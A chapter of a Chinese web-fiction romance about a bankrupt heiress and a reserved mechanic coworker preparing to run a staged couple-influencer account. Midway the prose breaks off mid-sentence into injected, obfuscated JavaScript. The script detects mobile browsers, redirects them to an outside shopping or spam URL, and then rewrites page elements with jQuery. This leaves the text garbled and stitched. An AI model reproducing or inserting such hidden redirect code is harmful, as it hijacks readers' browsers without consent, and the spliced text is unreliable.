要知道擦边这个词在互联网上是一个很不好的词,清清白白正常的博主都不会和这个扯上关系,很多人都不喜欢或者心里贬低那些擦边博主,甚至有的直接骂他们是鸡鸭。
博赛鸡鸭。
甄洛之前就被人贴脸开大过,眼下在这么多号被废后,也习以为常了,她的每一个账号最后的分析报告,上面都是这样的话。
第一次还有些难堪委屈什么的,但久而久之这些情绪都转化成一种闷闷的情绪压在她的心上。
但她没想到新同事看到了这个,唉,希望他不要……想多了。
谢循表情没什么变化,甄洛松了口气,按照顺序又该轮到他提问了,“你的兴趣爱好?”
这些问题都是为了以后起号有底,不会到时候图文展示的你侬我侬,但短视频一下子就暴露出不熟,爱看情感博主的网友,他们通常心思都非常细腻,他们吃的也是细腻的情绪,可以说是放大镜。
当有一个网友在评论区提出疑惑,后面几个都会连着疑惑,羊群效应一旦激发就难搞了,到时候就不“真情实感”了。
虽说他们是假的,是要演出来的,但也是要贴他们彼此的性格习性。
他们不是明星,当然不会配备什么团队,顶多给你一个运营,而且那个运营也不是只对接你的,他们手下可能有几十个博主,好的话外加一个策划,所以其他的都需要他们自己干。
像剪视频啊什么的,都是博主自己在剪。
大博主有自己的团队,有工作人员,而且都是只配合他们的,可能视频也不需要自己动手剪,只需要自己出镜就行了。
公司让他们走情侣赛道,那怎么走,需要他们和各自的运营讨论,李姐现在的意思就是过几天再起号,先做好前期准备,确保万无一失。
其实话里话外的意思,这次可能是甄洛最后的机会了,再起不起来,那真的去干擦边得了。
所以一定一定要认真。
甄洛仔细想了想,她之前挺喜欢画画的,那时候父母还有钱,除了画画还给她报了芭蕾班,可惜她的体重一直都不符合专业芭蕾舞蹈演员的要求。
所以就当个兴趣。
父母心疼她,不让她节食减肥什么的,就请私教,告诉她,小水跳得高兴就行,要那么多框框条条做什么,以后又不靠这吃饭。
爱好就是爱好,不把它当赚钱的工具,你只管教她舞蹈动作就行了,但是危险不要教她,不要戴眼镜看我女儿,少多管其他的。
她学了十年,没有练成什么,只把气质和对肌肉的控制练了出来。
所以甄洛学的很开心,即便是学舞蹈也没人敢PUA她要少吃点,要变得超级瘦瘦的才行,不然跳舞就不美了。
“画画还有芭蕾。”
谢循像是什么也不意外,点了点头。
不过,甄洛看到他掏出手机在备忘录里敲了她刚刚说的话,再仔细一看前面的也都有记录下来,面对她的惊讶与不解,谢循抬眼是这样说的。
“抱歉,可能有些冒犯。”
他声音沉沉。
“但这是,我需要做的笔记。”
啊。
甄洛敲了敲自己的脑袋,她怎么都忘记了。
李姐说是了解,但肯定后期会问他们的。
经过这几轮的谈话,甄洛有些了解他的性格,他其实好像并不像外表看起来的那样潮,也不是那种肆意不羁的拽哥,应该是一个挺闷,闷葫芦的一个男生。
属于你不主动搭话,他也不会和你说话的那种老式男生,但你又露出不懂疑惑的表情,他肯定会主动向你解释的。
她心里小小意外了一下。
果然做博主的很大一部分人,都是i人。
谢循做好笔记后,
“修车和攀岩。”
男人说这话时,漆眸半敛着,在深邃的眼窝处投下阴影。
修车?
甄洛反应过来,这么说,他刚刚说打工,是修理工,那就是在修车厂里工作了?
看着和自己差不多大,都已经在工作了。
所以是把工作当成爱好了是吗?
她爸爸之前有跑车,有一回坏了,打电话让修车厂里的人来,就有修车工来修,不过那些人都没有一个,像谢循给她的感觉。
他给她的感觉,她也说不清。
可能是因为这是第一次见面,她和他都有所保留,虽说后期要成为亲密的情侣博主,但现在还是陌生同事的关系。
甄洛鼓起勇气再次打量谢循,怯怯的,像是蜻蜓点水,不敢太冒犯。
怪不得他的肤色并不是白的,而且有些古铜色,或许也是因为这个肤色的缘故,使得他的五官俊美中又带着野性,很性感但也不好惹。
她倒是觉得没什么,反正这年头能踏踏实实干活挣钱,然后还没有什么负债的,她都觉得很厉害。
在负债累累的人面前,他们最羡慕的就是不负债的人了。
接着,再一联想到攀岩,这项爱好挺小众的。她脑海里自然而言理解成室内的那种攀岩墙,这种她只玩过一次,累的不行。
甄洛盯着他手臂看了半会儿,难怪他手臂拉丝肌肉线条如此明显。
不过,攀岩很贵呀……
自从家里破产后,她不知不觉就对金钱上了心,做什么事都会先想到这要多少钱。
谢循像是发现了她的目光,投了过来。
甄洛有些不懂,她也学着他掏出手机,建立了一个备忘录,然后在上面仔仔细细写了修车和攀岩,还有名字生日。
既然决定要当情侣博主了,那也要努力认真才行,他们现在就是要努力地分析彼此,最好是剖析,然后找到好磕的点,她不能给同事拖后腿。
大家都很缺钱嘛,那就比较的纯粹。
情侣博主大都要签订协议的,这一点就是在保护彼此的安全。
而且谢循好像是新来的,甄洛作为比他先三个月入行的老员工,居然还没他专业,见状她有些被打击到了,不过她恢复也很快,一个人像垂耳兔兔一样囤囤写。
为了工作!为了赚钱!为了还债!
谢循没说什么,等她再次抬头时,才用手敲了敲桌面,提醒她,该她了。
目光不经意地看到他的手时,甄洛还是心脏会吓一跳,真的很不一样。
修车工应该会被零件划划碰碰吧?
但她总感觉不是职业病,反倒是像出生或者说日积月累好了又添留下来的。
谢循再次发现她看向自己手时的目光,疑中带着浅浅的怕,他唇角几乎控制不住地绷直,不高兴,很浓郁。
不好,甄洛心道。
这应该是同事的痛处,她已经是第二次戳到这个痛处了,事不过三,她不能再犯错了。
“问题。”
他嗓音又沙又哑,不厌其烦地提醒她。
甄洛低头,长吁了一口气,好在可能是因为第一次见面,所以他即使很不高兴她的再二冒犯,但也很认真兢兢业业的。
同事脾气挺好。
“……”
下一个问题是,展示一下自己的爱好特长。
甄洛这几个回合下来,彻底进入工作状态了,社恐也缓解了不少,对方都进入工作状态了,她怎么能停滞不前呢?!
她是社恐,又不是,不会工作。
而且她一点也没觉得自己社恐有什么不好,她也是有自己的优点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126192|196090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,比如敏感谨慎,而且有耐心。
她废了那么多号,但依然能收拾好心态再次重启,不信这个邪。
现在互联网也就两个平台流量高,一个是主攻短视频方向的豆荚,另一个是主攻图文方向的绿书。
她之前都是两个方向同时起号,也就是常说的双平台博主,结果不行T——T。
这次李姐让她先起绿书的号,然后后期再引流到豆荚,豆荚直播现在做的热火朝天,接着顺势就开直播卖货什么的。
这样一来,他们首要考虑的就是提高自己的图文输出能力。
再说这个问题也是非常有必要且正常的,毕竟仔细想想正常情侣肯定会在彼此面前展示彼此的爱好,为后面的素材做准备。
甄洛挠了耳垂,“画画的话,我比较喜欢画油画,可惜现在手上没有画笔,等下次有时间,我给你展示一下。”
谢循见她渐渐话多了起来,也顺着她的话道:“修车和攀岩也是。”
他大拇指轻轻刮蹭了食指关节,按耐,很性感,像是有些可惜,欲言又止。
等下次,有时间的话。
甄洛点了点头,哎,这样的话,他这两个爱好都难今天向自己展示。
主要是他那两个太吃场合。
她还剩一个芭蕾。
甄洛瞧了一眼周围,这个好像可以。
她今天因为出门的缘故,穿得很宽松舒适,挺适合大幅度跳舞的,但不太适合芭蕾。
她想了想,说展示而已,又不是要美观地跳完一整个舞曲。
大概只要几个芭蕾的经典动作就可以了。
甄洛站起身,神情恬静美好,家里破产后她就不练芭蕾了,有两年没上课,身体紧绷感有些松懈,不过……
她自始至终都觉得,跳舞,哪里都是舞台。
只要你在翩然起舞,在享受动作,无束。
不一定要穿上芭蕾服和芭蕾鞋,才能跳。
甄洛之前有一个号主攻韩系博主,像这种博主基本上都会模仿爆火的时尚风向,前不久芭蕾风很火,李姐就让她上ins看看那些韩女的构图以及拍照巧思什么的,然后模仿。
她那个号子还不错,本身也是学过的,所以拍起来既好看又不显得业余,那个账号也是她唯一一个男粉只占了六成的,但……还是废了。
因为颜值穿搭博主太多了,卷,广子报价太低,你不接自然会有其他的人接,没有竞争优势,而且她的男粉比例依旧是个劣势。
如果甄洛家里没出那档子事的话,对赚钱没有欲望,或许那个号子是极度适配她的,富家千金偶尔发发生活照片,不接广,都是私搭,可惜她不行。
她现在不是富家千金,不是小公主,松弛不起来,只有对金钱的紧绷。
房间很安静。
甄洛大大方方起舞,仿佛又回到了她还是公主时。
谢循的头发颜色是这里面最扎眼的,头顶那块像是新的黑发长了出来,与张扬的金发交织,但不割裂,甄洛还是看错他了。
男人静静地看着她。
他却不管,任由本色肆意,黑发和漆眸妄为生长。
谢循突然有些烦躁。
甄洛并没有注意他,简简单单的,像优雅小天鹅,虽然衣服不合适,但动作却劲劲儿的,脚背绷成倔强的弧线,像她这个人的骨子一样。
破产也好,父母相继经受不住打击离世也好,但他们是真的爱她,也给她前十八年提供了好的物质条件,所以呢……她不会逃避那些债款。
祸不及家人的前提是惠不及。
该还的,她会还。
好好研究新赛道,和同事合作努力吸粉,赚钱赚钱,甄洛想。